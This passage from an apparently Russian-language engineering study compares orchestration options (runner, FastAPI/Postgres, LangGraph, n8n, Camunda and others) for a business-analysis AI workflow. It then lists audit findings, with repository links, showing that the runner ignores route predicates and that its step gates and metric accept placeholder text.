\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f,\\n  \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u044c\u0448\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0438 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0436\u0443\u0440\u043d\u0430\u043b, \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u0438\\n  \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0432 \u0441\u0440\u0435\u0434\u0443 4.\\n- **\u041f\u043b\u0430\u043d n8n \u043c\u0430\u044f 2026.** \u042d\u0442\u0430\u043f 4 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b RAG \u2014\\n  \u00abn8n-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f\u00bb \u0441 human gates\\n  ([`2026-05-26-rag-mapping-roadmap.md` L275-L283](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md#L275-L283))\\n  \u2014 \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u044d\u0442\u0430\u043f\u043e\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043a \u0443\u0437\u043b\u0430\u043c n8n\\n  ([`2026-05-26-requirements-lifecycle-uncertainty.md` L425-L437](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md#L425-L437)).\\n  \u041f\u043e\u0437\u0436\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` n8n \u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442, \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  \u043d\u0435\u0442 ([\u0413-50](#\u0433-50)). \u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u0430\u0451\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443.\\n\\n### \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n\\n\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: \u25cf \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e, \u25d0 \u2014 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c, \u25cb \u2014 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e.\\n\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0438:\\n\u041a1 \u2014 \u0433\u0440\u0430\u0444 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 Source \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438;\\n\u041a2 \u2014 \u043f\u0430\u0443\u0437\u0430 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0434\u043d\u0438;\\n\u041a3 \u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435;\\n\u041a4 \u2014 \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0411\u0410, \u043d\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u0430;\\n\u041a5 \u2014 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430;\\n\u041a6 \u2014 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f;\\n\u041a7 \u2014 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u043c \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430\u043c\u0438;\\n\u041a8 \u2014 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438.\\n\\n| \u2116 | \u0412\u0430\u0440\u0438\u0430\u043d\u0442 | \u041a1 | \u041a2 | \u041a3 | \u041a4 | \u041a5 | \u041a6 | \u041a7 | \u041a8 | \u0418\u0442\u043e\u0433 |\\n|---|---------|----|----|----|----|----|----|----|----|------|\\n| \u0412-0 | \u041a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441: runner-\u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a, \u0411\u0410 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b | \u25cb | \u25cb | \u25cf | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u041e\u0442\u043f\u0440\u0430\u0432\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 |\\n| \u0412-1 | Runner-\u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25cf | \u25cf | \u25cf | \u25cf | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1** |\\n| \u0412-2 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP \u0438\u043b\u0438 skill \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0431\u0435\u0437 runner-\u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e | \u25cb | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c |\\n| \u0412-3 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner: FastAPI + \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 + Postgres | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25cf | \u25d0 | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2** |\\n| \u0412-4 | \u0412-3 \u0441 \u0434\u0432\u0438\u0436\u043a\u043e\u043c LangGraph (\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, MIT) | \u25d0 | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25d0 | \u0420\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n| \u0412-5 | Temporal | \u25d0 | \u25cf | \u25cf | \u25cb | \u25cb | \u25cf | \u25d0 | \u25d0 | \u0418\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 |\\n| \u0412-6 | n8n \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25cb | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e |\\n| \u0412-7 | n8n \u043a\u0430\u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0412-3 | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n| \u0412-8 | Dify \u0438\u043b\u0438 Flowise | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n| \u0412-9 | Windmill, Kestra \u0438\u043b\u0438 Prefect | \u25d0 | \u25d0 | \u25cf | \u25cb | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445 |\\n| \u0412-10 | BPMN: Camunda 8 \u0438\u043b\u0438 Operaton | \u25cb | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n\\n\u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0446\u0435\u043d\u043e\u043a \u2014 \u0432 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u044b\\n[\u0417](#\u0437-\u0441\u043b\u043e\u0439-3-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b-\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438-\u0438-\u0437\u0430\u043f\u0443\u0441\u043a\u0430) \u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435\\n[\u00ab\u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\u00bb](#\u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435-\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b-\u0438-\u0438\u0445-\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f).\\n\\n## \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043d\u0430 `main`. \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: `G` \u2014 \u043f\u0430\u043a\u0435\u0442\\n[`dist/execution-package-gigacode-cli/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli),\\n`MM` \u2014 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n[`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model),\\n`P10`\u2026`P12` \u2014 \u043f\u0440\u043e\u0431\u044b \u0438\u0437\\n[\u0436\u0443\u0440\u043d\u0430\u043b\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log).\\n\\n### \u0415. \u0421\u043b\u043e\u0439 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0435\u0451 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n\\n| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n|---|----------|----------------|--------|-------------|--------------|\\n| \u0413-26 | \u0412 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 | `MM` \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u0447\u0442\u0435\u043d\u0438\u0435 `routes/` \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u043b\u0438\u0441\u0442\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443\u00bb ([L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49), [L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L154)), \u043d\u043e \u0441\u0440\u0435\u0434\u0438 [\u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L35-L53) \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442; `Actor` \u2014 \u00ab\u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433\u00bb, \u0430 `System` \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u043c \u0431\u044b\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 ([`SY-1`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L65)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041e\u0431\u044a\u044f\u0432\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u043a\u0430\u043a `Actor`: \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0433\u0435\u0439\u0442 \u0438 \u043f\u0438\u0448\u0435\u0442 \u0436\u0443\u0440\u043d\u0430\u043b. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0432 runner, \u0430 \u043d\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b |\\n| \u0413-27 | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 | `MM` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u043e\u0434 Mango \u0438 GigaCode ([`00-introduction.md` L69-L70](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md#L69-L70)), \u043d\u043e `EP-R1`\u2026`EP-R9` \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u0433\u0440\u0430\u0444, \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b ([L225-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L225-L233)); \u0442\u043e\u043b\u044c\u043a\u043e `EP-R8` \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c `EP-R8` \u043a\u0430\u043a \u00ab\u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043b\u0438\u0441\u0442\u0430\u00bb \u2014 \u0431\u0435\u0437 \u0447\u0430\u0442\u0430 \u043a\u0430\u043a \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f |\\n| \u0413-28 | \u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0440\u0451\u0431\u0435\u0440 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u0430\u043a, \u043a\u0430\u043a \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 YAML | `P11`: \u0432 [`routes/rg-bcreq-v1.yaml`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) 17 \u043d\u0435\u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432, runner \u0438\u0445 \u043d\u0435 \u0447\u0438\u0442\u0430\u0435\u0442; \u0432\u0435\u0442\u0432\u0438 \u0437\u0430\u043d\u043e\u0432\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 ([`run-task.py` L151-L187](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L151-L187)). \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432 Source \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 runner | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0438\u0437 YAML \u043d\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0431\u0435\u0437 `eval`; \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f; \u0440\u0443\u0447\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f |\\n| \u0413-29 | G-mach \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0433\u0430 | `P10`: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u0438\u043d\u044f\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3. \u0413\u0435\u0439\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 ([`run-task.py` L76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L76)), \u0430 \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f entry, n0, n4, n5, n6, n8, n12 \u0438 n13 ([L220-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L220-L233)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430, \u0430 \u043d\u0435 \u043f\u0430\u043a\u0435\u0442 |\\n| \u0413-30 | \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 `deterministic_share` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043b\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 | `P10`: \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0451\u0445 \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0440\u0430\u0432\u043d\u0430 `1.0`. [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L69) \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0448\u0430\u0433\u0438 \u0441\u043e `script_invoked`, \u0430 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442 ([\u0413-29](#\u0433-29)). \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 ADR-018 \u00ab\u043c\u0435\u043d\u044c\u0448\u0435 95% \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447\u00bb ([L55](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L55)) \u043f\u0440\u0438 \u0442\u0430\u043a\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0435 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u0435\u0442\u0440\u0438\u043a\u0443.** \u0421\u0447\u0438\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0448\u0430\u0433\u0438, \u0433\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430 \u043f\u043e \u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 |\\n| \u0413-31 | \u041f\u0440\u043e\u0433\u043e\u043d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0436\u0434\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c (`EP-R8`) | `halt` \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f ([`run-task.py` L30](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L30)); `advance` \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 \u043d\u0435 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441\u0435 `active` ([L199-L200](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L199-L200)); \u0440\u0435\u0431\u0440\u043e n7 \u2192 halt \u043f\u0440\u0438 `answers.count == 0` ([\u043c\u0430\u0440\u0448\u0440\u0443\u0442 L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L49)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | 